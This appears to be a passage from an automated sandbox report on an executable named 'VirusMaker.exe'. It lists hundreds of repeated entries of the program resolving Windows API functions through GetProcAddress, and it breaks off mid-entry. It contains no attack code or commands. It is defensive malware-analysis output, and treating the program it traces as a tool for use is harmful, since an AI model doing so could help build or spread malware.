GetProcessWindowStation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemDefaultLCID (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemDefaultLCIDW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateFontFromLogfontW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_RU1 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_RU1_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFontUnit (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFontSize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFontStyle (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFamily (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetDpiY (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFontHeight (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetEmHeight (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetLineSpacing (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateFont (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteFont (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetFamilyName (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SaveDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateFontIndirect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetMapMode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTextMetricsW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DrawTextExWW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUserObjectInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUserObjectInformationA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetClassInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetClassInfoW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DefWindowProc (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSysColorW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetThemeAppPropertiesW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OpenThemeDataW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTextExtentPoint32W (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateIconFromResourceEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetLogFontW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_WU1 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ND_WU1_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCursorPos (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter MonitorFromPoint (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetMonitorInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateDCW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsThemePartDefinedW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateRegion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetClip (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateMatrix (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetWorldTransform (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipIsMatrixIdentity (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetMatrixElements (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteMatrix (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipIsInfiniteRegion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteRegion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OffsetViewportOrgEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetThemePartSizeW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RestoreDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipReleaseDC (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetWindowText (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetWindowTextW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetStartupInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetStartupInfoW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SendMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemMenu (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowPlacement (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EnableMenuItem (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowTextLength (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowTextLengthW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowText (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowTextW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetWindowPos (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter MapWindowPoints (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetForegroundWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoRegisterMessageFilter (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFocus (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetFocus (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetKeyboardLayout (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetNearestColor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetBkColor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PeekMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsWindowUnicode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter TranslateMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DispatchMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter BeginPaint (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateHalftonePalette (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SelectPalette (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EndPaint (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetObjectType (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipTranslateWorldTransform (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetClipRectI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSaveGraphics (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCombineRegionRegion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetRegionHRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateRectRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetClipRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SelectClipRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipRestoreGraphics (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetTextRenderingHint (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTextAlign (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTextColor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetBkMode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SystemParametersInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DrawThemeBackgroundW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseThemeDataW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateStringFormat (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetStringFormatAlign (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetStringFormatLineAlign (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetStringFormatHotkeyPrefix (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetStringFormatFlags (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetStringFormatFlags (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetStringFormatMeasurableCharacterRanges (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateRegionRectI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteStringFormat (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipSetClipRegion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetRegionScansCount (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipGetRegionScans (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreateRegionRect (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeleteBrush (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDrawRectangleI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipDeletePen (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetUpdateRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CombineRgn (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetRgnBox (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipFillRectangleI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GdipFillPolygonI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsChild (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WaitMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DispatchMessageA (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LoadCursor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LoadCursorW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetCursor (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter _TrackMouseEvent (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetKeyState (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter UpdateWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetDlgItem (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCapture (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DestroyIcon (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PostThreadMessage (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter PostThreadMessageW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EnumThreadWindows (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetClassLong (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetClassLongW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter UnregisterClass (UID: 